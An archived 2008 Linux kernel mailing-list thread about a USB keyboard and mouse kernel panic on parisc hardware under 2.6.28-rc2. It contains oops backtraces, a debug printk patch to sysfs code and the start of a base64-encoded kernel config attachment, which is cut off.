X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Oct 2008 03:55:15 +0000 (UTC)
To: linux-input@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-input-owner@vger.kernel.org Fri Oct 31 04:56:17 2008
connect(): Connection refused
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kvl7P-0002Ox-EK
	for glki-linux-input-2@gmane.org; Fri, 31 Oct 2008 04:56:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752107AbYJaDzF (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Thu, 30 Oct 2008 23:55:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751553AbYJaDzE
	(ORCPT <rfc822;linux-input-outgoing>);
	Thu, 30 Oct 2008 23:55:04 -0400
Original-Received: from smtp-vbr19.xs4all.nl ([194.109.24.39]:3857 "EHLO
	smtp-vbr19.xs4all.nl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751076AbYJaDzD (ORCPT
	<rfc822;linux-input@vger.kernel.org>);
	Thu, 30 Oct 2008 23:55:03 -0400
X-Greylist: delayed 541 seconds by postgrey-1.27 at vger.kernel.org; Thu, 30 Oct 2008 23:55:02 EDT
Original-Received: from epia.jer-c2.orkz.net (atwork-106.r-212.178.112.atwork.nl [212.178.112.106])
	(authenticated bits=0)
	by smtp-vbr19.xs4all.nl (8.13.8/8.13.8) with ESMTP id m9V3juM6011163;
	Fri, 31 Oct 2008 04:45:58 +0100 (CET)
	(envelope-from jer@gentoo.org)
In-Reply-To: <200810310011.08618.deller@gmx.de>
X-Mailer: Claws Mail 3.6.1 (GTK+ 2.12.11; i686-pc-linux-gnu)
X-Virus-Scanned: by XS4ALL Virus Scanner
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:5889 gmane.linux.kernel:751685 gmane.linux.ports.parisc:815
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/815>

I am seeing the same USB problem but without the SLAB errors - [1] is
the Gentoo bug report. The kernel boots fine with both USB keyboard and
mouse detached.


[17179609.760000] usb 1-2: configuration #1 chosen from 1 choice
[17179609.860000] input: Kensington Kensington USB/PS2 Trackball as
/class/inpu1
[17179609.972000] Backtrace:
[17179609.972000]  [<101daa9c>] sysfs_find_dirent+0x34/0x50
[17179609.972000]  [<101daad8>] __sysfs_add_one+0x20/0xc0
[17179609.972000]  [<101dab8c>] sysfs_add_one+0x14/0x50
[17179609.972000]  [<101db250>] create_dir+0x64/0xcc
[17179609.972000]  [<101db2e4>] sysfs_create_dir+0x2c/0x5c
[17179609.972000]  [<102f2cd0>] kobject_add_internal+0xb8/0x1b0
[17179609.972000]  [<102f326c>] kobject_add+0x38/0x68
[17179609.972000]  [<1035b2b0>] device_add+0xdc/0x55c
[17179609.972000]  [<103d6930>] mousedev_create+0x17c/0x1f8
[17179609.972000]  [<103d7284>] mousedev_connect+0x48/0x138
[17179609.972000]  [<103d2b50>] input_attach_handler+0x6c/0xac
[17179609.972000]  [<103d5014>] input_register_device+0x1a4/0x250
[17179609.972000]  [<103dfe08>] hidinput_connect+0x308/0x3b40
[17179609.972000]  [<103de5d4>] hid_connect+0x22c/0x2c0
[17179609.972000]  [<103de740>] hid_device_probe+0xd8/0xfc
[17179609.972000]  [<1035db94>] driver_probe_device+0xa4/0x198
[17179609.972000]
[17179609.972000]
[17179609.972000] Kernel Fault: Code=26 regs=8f86d0c0 (Addr=00000000)
[17179609.972000]
[17179609.972000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[17179609.972000] PSW: 00000000000001001111111000001111 Not tainted
[17179609.972000] r00-03  0004fe0f 105a8e50 101daa9c 8ecef000
[17179609.972000] r04-07  8f8d4d70 fffffff4 8f296f60 8f86cf48
[17179609.972000] r08-11  8f297ac8 8ec37000 8f293e90 00000008
[17179609.972000] r12-15  00000006 00000001 00000002 00000003
[17179609.972000] r16-19  8ec37000 fffeffff fffeff70 00000073
[17179609.972000] r20-23  00000006 0000000f 000003e0 8f296f60
[17179609.972000] r24-27  101da714 8f8d4d70 00000000 105a8650
[17179609.972000] r28-31  8ecef000 156979c9 8f86d0c0 101a0274
[17179609.972000] sr00-03  00000000 00000000 00000000 0000000c
[17179609.972000] sr04-07  00000000 00000000 00000000 00000000
[17179609.972000]
[17179609.972000] IASQ: 00000000 00000000 IAOQ: 102f6a50 102f6a54
[17179609.972000]  IIR: 0f40101c    ISR: 00000000  IOR: 00000000
[17179609.972000]  CPU:        0   CR30: 8f86c000 CR31: 11111111
[17179609.972000]  ORIG_R28: 0000000f
[17179609.972000]  IAOQ[0]: strcmp+0x0/0x34
[17179609.972000]  IAOQ[1]: strcmp+0x4/0x34
[17179609.972000]  RP(r2): sysfs_find_dirent+0x34/0x50
[17179609.972000] Backtrace:
[17179609.972000]  [<101daa9c>] sysfs_find_dirent+0x34/0x50
[17179609.972000]  [<101daad8>] __sysfs_add_one+0x20/0xc0
[17179609.972000]  [<101dab8c>] sysfs_add_one+0x14/0x50
[17179609.972000]  [<101db250>] create_dir+0x64/0xcc
[17179609.972000]  [<101db2e4>] sysfs_create_dir+0x2c/0x5c
[17179609.972000]  [<102f2cd0>] kobject_add_internal+0xb8/0x1b0
[17179609.972000]  [<102f326c>] kobject_add+0x38/0x68
[17179609.972000]  [<1035b2b0>] device_add+0xdc/0x55c
[17179609.972000]  [<103d6930>] mousedev_create+0x17c/0x1f8
[17179609.972000]  [<103d7284>] mousedev_connect+0x48/0x138
[17179609.972000]  [<103d2b50>] input_attach_handler+0x6c/0xac
[17179609.972000]  [<103d5014>] input_register_device+0x1a4/0x250
[17179609.972000]  [<103dfe08>] hidinput_connect+0x308/0x3b40
[17179609.972000]  [<103de5d4>] hid_connect+0x22c/0x2c0
[17179609.972000]  [<103de740>] hid_device_probe+0xd8/0xfc
[17179609.972000]  [<1035db94>] driver_probe_device+0xa4/0x198
[17179609.972000]
[17179609.972000] Kernel panic - not syncing: Kernel Fault


Kind regards,
     JeR


[1] https://bugs.gentoo.org/show_bug.cgi?id=245001
--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 2.6.28-rc2: USB/INPUT: slab error in cache_alloc_debugcheck_after():
 double free?
Date: Fri, 31 Oct 2008 12:55:08 +0100 (CET)
Lines: 18
Approved: news@gmane.org
Message-ID: <alpine.LRH.1.10.0810311254400.7585@twin.jikos.cz>
References: <200810310011.08618.deller@gmx.de> <20081031044553.50882e86@epia.jer-c2.orkz.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1225454142 6966 80.91.229.12 (31 Oct 2008 11:55:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Oct 2008 11:55:42 +0000 (UTC)
Cc: linux-input@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-input-owner@vger.kernel.org Fri Oct 31 12:56:43 2008
connect(): Connection refused
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KvscK-0002XH-M9
	for glki-linux-input-2@gmane.org; Fri, 31 Oct 2008 12:56:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751000AbYJaLz2 (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Fri, 31 Oct 2008 07:55:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750844AbYJaLz2
	(ORCPT <rfc822;linux-input-outgoing>);
	Fri, 31 Oct 2008 07:55:28 -0400
Original-Received: from twin.jikos.cz ([213.151.79.26]:40606 "EHLO twin.jikos.cz"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750779AbYJaLz1 (ORCPT <rfc822;linux-input@vger.kernel.org>);
	Fri, 31 Oct 2008 07:55:27 -0400
Original-Received: from twin.jikos.cz (jikos@twin [127.0.0.1])
	by twin.jikos.cz (8.13.6/8.13.6) with ESMTP id m9VBtC08024331
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 31 Oct 2008 12:55:13 +0100
Original-Received: from localhost (jikos@localhost)
	by twin.jikos.cz (8.13.6/8.13.6/Submit) with ESMTP id m9VBt9fn024325;
	Fri, 31 Oct 2008 12:55:12 +0100
X-Authentication-Warning: twin.jikos.cz: jikos owned process doing -bs
X-X-Sender: jikos@twin.jikos.cz
In-Reply-To: <20081031044553.50882e86@epia.jer-c2.orkz.net>
User-Agent: Alpine 1.10 (LRH 962 2008-03-14)
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:5892 gmane.linux.kernel:751787 gmane.linux.ports.parisc:816
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/816>

On Fri, 31 Oct 2008, Jeroen Roovers wrote:

> I am seeing the same USB problem but without the SLAB errors - [1] is
> the Gentoo bug report. The kernel boots fine with both USB keyboard and
> mouse detached.

Could you please provide your config? I am still not able to reproduce it 
here. Thanks.

-- 
Jiri Kosina
SUSE Labs

--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 2.6.28-rc2: USB/INPUT: slab error in cache_alloc_debugcheck_after():
 double free?
Date: Fri, 31 Oct 2008 14:41:08 +0100 (CET)
Lines: 72
Approved: news@gmane.org
Message-ID: <alpine.LRH.1.10.0810311437270.7585@twin.jikos.cz>
References: <200810310011.08618.deller@gmx.de> <20081031044553.50882e86@epia.jer-c2.orkz.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1225460507 27866 80.91.229.12 (31 Oct 2008 13:41:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Oct 2008 13:41:47 +0000 (UTC)
Cc: linux-input@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>
To: Helge Deller <deller@gmx.de>, Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-input-owner@vger.kernel.org Fri Oct 31 14:42:48 2008
connect(): Connection refused
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KvuH1-0007My-Sv
	for glki-linux-input-2@gmane.org; Fri, 31 Oct 2008 14:42:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751302AbYJaNli (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Fri, 31 Oct 2008 09:41:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751164AbYJaNlh
	(ORCPT <rfc822;linux-input-outgoing>);
	Fri, 31 Oct 2008 09:41:37 -0400
Original-Received: from twin.jikos.cz ([213.151.79.26]:50340 "EHLO twin.jikos.cz"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750761AbYJaNlg (ORCPT <rfc822;linux-input@vger.kernel.org>);
	Fri, 31 Oct 2008 09:41:36 -0400
Original-Received: from twin.jikos.cz (jikos@twin [127.0.0.1])
	by twin.jikos.cz (8.13.6/8.13.6) with ESMTP id m9VDfA4w023592
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 31 Oct 2008 14:41:11 +0100
Original-Received: from localhost (jikos@localhost)
	by twin.jikos.cz (8.13.6/8.13.6/Submit) with ESMTP id m9VDf8aB023585;
	Fri, 31 Oct 2008 14:41:09 +0100
X-Authentication-Warning: twin.jikos.cz: jikos owned process doing -bs
X-X-Sender: jikos@twin.jikos.cz
In-Reply-To: <20081031044553.50882e86@epia.jer-c2.orkz.net>
User-Agent: Alpine 1.10 (LRH 962 2008-03-14)
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:5893 gmane.linux.kernel:751819 gmane.linux.ports.parisc:817
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/817>

On Fri, 31 Oct 2008, Helge Deller wrote:

> I noticed various slab errors with complete kernel crashes with my USB 
> keyboard/mouse on a 32bit parisc machine with both 2.6.28-rc1 and -rc2. 
> Kernel 2.6.27 was still OK.
[ ... ]

On Fri, 31 Oct 2008, Jeroen Roovers wrote:

> I am seeing the same USB problem but without the SLAB errors - [1] is
> the Gentoo bug report. The kernel boots fine with both USB keyboard and
> mouse detached.
[ ... ]
> [17179609.972000] IASQ: 00000000 00000000 IAOQ: 102f6a50 102f6a54
> [17179609.972000]  IIR: 0f40101c    ISR: 00000000  IOR: 00000000
> [17179609.972000]  CPU:        0   CR30: 8f86c000 CR31: 11111111
> [17179609.972000]  ORIG_R28: 0000000f
> [17179609.972000]  IAOQ[0]: strcmp+0x0/0x34
> [17179609.972000]  IAOQ[1]: strcmp+0x4/0x34
> [17179609.972000]  RP(r2): sysfs_find_dirent+0x34/0x50
> [17179609.972000] Backtrace:
> [17179609.972000]  [<101daa9c>] sysfs_find_dirent+0x34/0x50
> [17179609.972000]  [<101daad8>] __sysfs_add_one+0x20/0xc0
> [17179609.972000]  [<101dab8c>] sysfs_add_one+0x14/0x50
> [17179609.972000]  [<101db250>] create_dir+0x64/0xcc
> [17179609.972000]  [<101db2e4>] sysfs_create_dir+0x2c/0x5c
> [17179609.972000]  [<102f2cd0>] kobject_add_internal+0xb8/0x1b0
> [17179609.972000]  [<102f326c>] kobject_add+0x38/0x68
> [17179609.972000]  [<1035b2b0>] device_add+0xdc/0x55c
> [17179609.972000]  [<103d6930>] mousedev_create+0x17c/0x1f8
> [17179609.972000]  [<103d7284>] mousedev_connect+0x48/0x138
> [17179609.972000]  [<103d2b50>] input_attach_handler+0x6c/0xac
> [17179609.972000]  [<103d5014>] input_register_device+0x1a4/0x250
> [17179609.972000]  [<103dfe08>] hidinput_connect+0x308/0x3b40
> [17179609.972000]  [<103de5d4>] hid_connect+0x22c/0x2c0
> [17179609.972000]  [<103de740>] hid_device_probe+0xd8/0xfc
> [17179609.972000]  [<1035db94>] driver_probe_device+0xa4/0x198

What architecture is this, please?

If I understand the dump correctly, it bugs because strcmp() in 
sysfs_find_dirent() got somehow NULL pointer.

I am not able to reproduce this locally and I can't see what is going 
wrong here. Could you please try the patch below and send the dmesg 
output? (beware, it will produce quite some output volume). This might 
help us understand a little bit better what string goes NULL where, or 
what exactly is happening.
Thanks.

diff --git a/fs/sysfs/dir.c b/fs/sysfs/dir.c
index 82d3b79..e14fb5f 100644
--- a/fs/sysfs/dir.c
+++ b/fs/sysfs/dir.c
@@ -418,6 +418,9 @@ void sysfs_addrm_start(struct sysfs_addrm_cxt *acxt,
  */
 int __sysfs_add_one(struct sysfs_addrm_cxt *acxt, struct sysfs_dirent *sd)
 {
+	printk(KERN_DEBUG "__sysfs_add_one\n");
+	printk(KERN_DEBUG "%s\n", acxt->parent_sd->s_name);
+	printk(KERN_DEBUG "%s\n", sd->s_name);
 	if (sysfs_find_dirent(acxt->parent_sd, sd->s_name))
 		return -EEXIST;
 

-- 
Jiri Kosina
--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 2.6.28-rc2: USB/INPUT: slab error in
 cache_alloc_debugcheck_after(): double free?
Date: Fri, 31 Oct 2008 16:16:40 +0100
Lines: 845
Approved: news@gmane.org
Message-ID: <20081031161640.16f20fd1@epia.jer-c2.orkz.net>
References: <200810310011.08618.deller@gmx.de>
	<20081031044553.50882e86@epia.jer-c2.orkz.net>
	<alpine.LRH.1.10.0810311254400.7585@twin.jikos.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/uDzsQQcVTuFzxKyWlrvm4qh"
X-Trace: ger.gmane.org 1225466228 16376 80.91.229.12 (31 Oct 2008 15:17:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Oct 2008 15:17:08 +0000 (UTC)
Cc: linux-input@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>
To: Jiri Kosina <jkosina@suse.cz>
Original-X-From: linux-input-owner@vger.kernel.org Fri Oct 31 16:18:10 2008
connect(): Connection refused
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KvvlA-0001Ro-Sw
	for glki-linux-input-2@gmane.org; Fri, 31 Oct 2008 16:18:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751919AbYJaPQv (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Fri, 31 Oct 2008 11:16:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751837AbYJaPQv
	(ORCPT <rfc822;linux-input-outgoing>);
	Fri, 31 Oct 2008 11:16:51 -0400
Original-Received: from smtp-vbr19.xs4all.nl ([194.109.24.39]:1072 "EHLO
	smtp-vbr19.xs4all.nl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751267AbYJaPQr (ORCPT
	<rfc822;linux-input@vger.kernel.org>);
	Fri, 31 Oct 2008 11:16:47 -0400
Original-Received: from epia.jer-c2.orkz.net (atwork-106.r-212.178.112.atwork.nl [212.178.112.106])
	(authenticated bits=0)
	by smtp-vbr19.xs4all.nl (8.13.8/8.13.8) with ESMTP id m9VFGfsu016150;
	Fri, 31 Oct 2008 16:16:41 +0100 (CET)
	(envelope-from jer@gentoo.org)
In-Reply-To: <alpine.LRH.1.10.0810311254400.7585@twin.jikos.cz>
X-Mailer: Claws Mail 3.6.1 (GTK+ 2.12.11; i686-pc-linux-gnu)
X-Virus-Scanned: by XS4ALL Virus Scanner
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:5897 gmane.linux.kernel:751857 gmane.linux.ports.parisc:818
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/818>

--MP_/uDzsQQcVTuFzxKyWlrvm4qh
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Fri, 31 Oct 2008 12:55:08 +0100 (CET)
Jiri Kosina <jkosina@suse.cz> wrote:

> Could you please provide your config? I am still not able to
> reproduce it here. Thanks.

Added to the bug report[1]. The architecture is hppa (parisc).

[1] https://bugs.gentoo.org/show_bug.cgi?id=245001


Kind regards,
     JeR
--MP_/uDzsQQcVTuFzxKyWlrvm4qh
Content-Type: application/octet-stream; name=hppa.config
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=hppa.config

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIG1ha2UgY29uZmlnOiBkb24ndCBlZGl0CiMgTGlu
dXgga2VybmVsIHZlcnNpb246IDIuNi4yOC1yYzIKIyBXZWQgT2N0IDI5IDE5OjA2OjA2IDIwMDgK
IwpDT05GSUdfUEFSSVNDPXkKQ09ORklHX01NVT15CkNPTkZJR19TVEFDS19HUk9XU1VQPXkKQ09O
RklHX1JXU0VNX0dFTkVSSUNfU1BJTkxPQ0s9eQojIENPTkZJR19BUkNIX0hBU19JTE9HMl9VMzIg
aXMgbm90IHNldAojIENPTkZJR19BUkNIX0hBU19JTE9HMl9VNjQgaXMgbm90IHNldApDT05GSUdf
R0VORVJJQ19GSU5EX05FWFRfQklUPXkKQ09ORklHX0dFTkVSSUNfQlVHPXkKQ09ORklHX0dFTkVS
SUNfSFdFSUdIVD15CkNPTkZJR19HRU5FUklDX0NBTElCUkFURV9ERUxBWT15CkNPTkZJR19HRU5F
UklDX1RJTUU9eQpDT05GSUdfR0VORVJJQ19IQVJESVJRUz15CkNPTkZJR19HRU5FUklDX0lSUV9Q
Uk9CRT15CkNPTkZJR19JUlFfUEVSX0NQVT15CkNPTkZJR19ERUZDT05GSUdfTElTVD0iL2xpYi9t
b2R1bGVzLyRVTkFNRV9SRUxFQVNFLy5jb25maWciCgojCiMgR2VuZXJhbCBzZXR1cAojCkNPTkZJ
R19FWFBFUklNRU5UQUw9eQpDT05GSUdfQlJPS0VOX09OX1NNUD15CkNPTkZJR19JTklUX0VOVl9B
UkdfTElNSVQ9MzIKQ09ORklHX0xPQ0FMVkVSU0lPTj0iLUplUiIKIyBDT05GSUdfTE9DQUxWRVJT
SU9OX0FVVE8gaXMgbm90IHNldApDT05GSUdfU1dBUD15CkNPTkZJR19TWVNWSVBDPXkKQ09ORklH
X1NZU1ZJUENfU1lTQ1RMPXkKQ09ORklHX1BPU0lYX01RVUVVRT15CkNPTkZJR19CU0RfUFJPQ0VT
U19BQ0NUPXkKQ09ORklHX0JTRF9QUk9DRVNTX0FDQ1RfVjM9eQpDT05GSUdfVEFTS1NUQVRTPXkK
Q09ORklHX1RBU0tfREVMQVlfQUNDVD15CkNPTkZJR19UQVNLX1hBQ0NUPXkKQ09ORklHX1RBU0tf
SU9fQUNDT1VOVElORz15CkNPTkZJR19BVURJVD15CkNPTkZJR19JS0NPTkZJRz15CkNPTkZJR19J
S0NPTkZJR19QUk9DPXkKQ09ORklHX0xPR19CVUZfU0hJRlQ9MTcKIyBDT05GSUdfQ0dST1VQUyBp
cyBub3Qgc2V0CkNPTkZJR19HUk9VUF9TQ0hFRD15CkNPTkZJR19GQUlSX0dST1VQX1NDSEVEPXkK
Q09ORklHX1JUX0dST1VQX1NDSEVEPXkKQ09ORklHX1VTRVJfU0NIRUQ9eQojIENPTkZJR19DR1JP
VVBfU0NIRUQgaXMgbm90IHNldApDT05GSUdfU1lTRlNfREVQUkVDQVRFRD15CkNPTkZJR19TWVNG
U19ERVBSRUNBVEVEX1YyPXkKIyBDT05GSUdfUkVMQVkgaXMgbm90IHNldApDT05GSUdfTkFNRVNQ
QUNFUz15CiMgQ09ORklHX1VUU19OUyBpcyBub3Qgc2V0CiMgQ09ORklHX0lQQ19OUyBpcyBub3Qg
c2V0CiMgQ09ORklHX1VTRVJfTlMgaXMgbm90IHNldAojIENPTkZJR19QSURfTlMgaXMgbm90IHNl
dApDT05GSUdfQkxLX0RFVl9JTklUUkQ9eQpDT05GSUdfSU5JVFJBTUZTX1NPVVJDRT0iIgojIENP
TkZJR19DQ19PUFRJTUlaRV9GT1JfU0laRSBpcyBub3Qgc2V0CkNPTkZJR19TWVNDVEw9eQojIENP
TkZJR19FTUJFRERFRCBpcyBub3Qgc2V0CkNPTkZJR19TWVNDVExfU1lTQ0FMTD15CkNPTkZJR19L
QUxMU1lNUz15CiMgQ09ORklHX0tBTExTWU1TX0FMTCBpcyBub3Qgc2V0CiMgQ09ORklHX0tBTExT
WU1TX0VYVFJBX1BBU1MgaXMgbm90IHNldApDT05GSUdfSE9UUExVRz15CkNPTkZJR19QUklOVEs9
eQpDT05GSUdfQlVHPXkKQ09ORklHX0VMRl9DT1JFPXkKIyBDT05GSUdfQ09NUEFUX0JSSyBpcyBu
b3Qgc2V0CkNPTkZJR19CQVNFX0ZVTEw9eQpDT05GSUdfRlVURVg9eQpDT05GSUdfQU5PTl9JTk9E
RVM9eQpDT05GSUdfRVBPTEw9eQpDT05GSUdfU0lHTkFMRkQ9eQpDT05GSUdfVElNRVJGRD15CkNP
TkZJR19FVkVOVEZEPXkKQ09ORklHX1NITUVNPXkKQ09ORklHX0FJTz15CkNPTkZJR19WTV9FVkVO
VF9DT1VOVEVSUz15CkNPTkZJR19QQ0lfUVVJUktTPXkKQ09ORklHX1NMVUJfREVCVUc9eQojIENP
TkZJR19TTEFCIGlzIG5vdCBzZXQKQ09ORklHX1NMVUI9eQojIENPTkZJR19TTE9CIGlzIG5vdCBz
ZXQKQ09ORklHX1BST0ZJTElORz15CiMgQ09ORklHX01BUktFUlMgaXMgbm90IHNldApDT05GSUdf
T1BST0ZJTEU9bQpDT05GSUdfSEFWRV9PUFJPRklMRT15CiMgQ09ORklHX0hBVkVfR0VORVJJQ19E
TUFfQ09IRVJFTlQgaXMgbm90IHNldApDT05GSUdfU0xBQklORk89eQpDT05GSUdfUlRfTVVURVhF
Uz15CiMgQ09ORklHX1RJTllfU0hNRU0gaXMgbm90IHNldApDT05GSUdfQkFTRV9TTUFMTD0wCkNP
TkZJR19NT0RVTEVTPXkKQ09ORklHX01PRFVMRV9GT1JDRV9MT0FEPXkKQ09ORklHX01PRFVMRV9V
TkxPQUQ9eQpDT05GSUdfTU9EVUxFX0ZPUkNFX1VOTE9BRD15CiMgQ09ORklHX01PRFZFUlNJT05T
IGlzIG5vdCBzZXQKIyBDT05GSUdfTU9EVUxFX1NSQ1ZFUlNJT05fQUxMIGlzIG5vdCBzZXQKQ09O
RklHX0tNT0Q9eQpDT05GSUdfQkxPQ0s9eQojIENPTkZJR19MQkQgaXMgbm90IHNldAojIENPTkZJ
R19CTEtfREVWX0lPX1RSQUNFIGlzIG5vdCBzZXQKIyBDT05GSUdfTFNGIGlzIG5vdCBzZXQKIyBD
T05GSUdfQkxLX0RFVl9CU0cgaXMgbm90IHNldApDT05GSUdfQkxLX0RFVl9JTlRFR1JJVFk9eQoK
IwojIElPIFNjaGVkdWxlcnMKIwpDT05GSUdfSU9TQ0hFRF9OT09QPXkKQ09ORklHX0lPU0NIRURf
QVM9eQojIENPTkZJR19JT1NDSEVEX0RFQURMSU5FIGlzIG5vdCBzZXQKIyBDT05GSUdfSU9TQ0hF
RF9DRlEgaXMgbm90IHNldApDT05GSUdfREVGQVVMVF9BUz15CiMgQ09ORklHX0RFRkFVTFRfREVB
RExJTkUgaXMgbm90IHNldAojIENPTkZJR19ERUZBVUxUX0NGUSBpcyBub3Qgc2V0CiMgQ09ORklH
X0RFRkFVTFRfTk9PUCBpcyBub3Qgc2V0CkNPTkZJR19ERUZBVUxUX0lPU0NIRUQ9ImFudGljaXBh
dG9yeSIKQ09ORklHX0NMQVNTSUNfUkNVPXkKIyBDT05GSUdfRlJFRVpFUiBpcyBub3Qgc2V0Cgoj
CiMgUHJvY2Vzc29yIHR5cGUgYW5kIGZlYXR1cmVzCiMKIyBDT05GSUdfUEE3MDAwIGlzIG5vdCBz
ZXQKIyBDT05GSUdfUEE3MTAwTEMgaXMgbm90IHNldAojIENPTkZJR19QQTcyMDAgaXMgbm90IHNl
dAojIENPTkZJR19QQTczMDBMQyBpcyBub3Qgc2V0CkNPTkZJR19QQThYMDA9eQpDT05GSUdfUEEy
MD15CkNPTkZJR19QUkVGRVRDSD15CiMgQ09ORklHXzY0QklUIGlzIG5vdCBzZXQKQ09ORklHX1BB
UklTQ19QQUdFX1NJWkVfNEtCPXkKIyBDT05GSUdfUEFSSVNDX1BBR0VfU0laRV8xNktCIGlzIG5v
dCBzZXQKIyBDT05GSUdfUEFSSVNDX1BBR0VfU0laRV82NEtCIGlzIG5vdCBzZXQKIyBDT05GSUdf
U01QIGlzIG5vdCBzZXQKQ09ORklHX0FSQ0hfRkxBVE1FTV9FTkFCTEU9eQpDT05GSUdfUFJFRU1Q
VF9OT05FPXkKIyBDT05GSUdfUFJFRU1QVF9WT0xVTlRBUlkgaXMgbm90IHNldAojIENPTkZJR19Q
UkVFTVBUIGlzIG5vdCBzZXQKIyBDT05GSUdfSFpfMTAwIGlzIG5vdCBzZXQKQ09ORklHX0haXzI1
